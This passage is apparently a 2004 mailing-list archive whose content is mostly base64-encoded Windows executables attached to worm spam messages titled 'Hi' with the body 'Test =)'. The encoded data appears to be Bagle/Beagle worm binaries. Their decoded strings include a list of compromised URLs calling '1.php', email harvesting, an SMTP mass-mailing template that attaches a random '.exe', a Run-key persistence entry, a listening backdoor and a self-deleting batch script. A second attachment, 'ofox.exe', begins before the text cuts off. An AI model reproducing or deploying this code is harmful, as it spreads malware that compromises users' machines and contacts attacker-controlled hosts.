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
6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI
jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v//
hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+
////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v//
UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q
6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+
//9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1
oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/
//9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij
AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo////
dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+
Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA
6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA
AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA
QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA
QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA
QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA
QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA
QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB
QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA
QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA
QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA
REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE
AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA
WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD
AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA
JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF
AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA
zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA
AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA
HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA
5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE
AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA
iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG
AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA
TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z
ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA
Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA
RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp
bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl
QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu
Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU
aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA
YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB
TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4
AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C
V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA
uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz
cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA
Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA
aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0
AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA
b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B
AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l
Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu
ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA
rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw
aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA
AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt
aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl
LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy
ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3
Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw
Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0
dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu
LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu
cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu
NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z
dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6
Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------724384264605718--



From palle at mail-online.dk  Mon Jan 19 01:46:49 2004
From: palle at mail-online.dk (palle at mail-online.dk)
Date: Mon, 19 Jan 2004 09:46:49 +0000
Subject: [Mapserver-users] Hi
Message-ID: 

----------708406486372157
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
kdudsgcaycwrdv
--
Test, yep.

----------708406486372157
Content-Type: application/x-msdownload; name="ujmhdwmvu.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ofox.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL
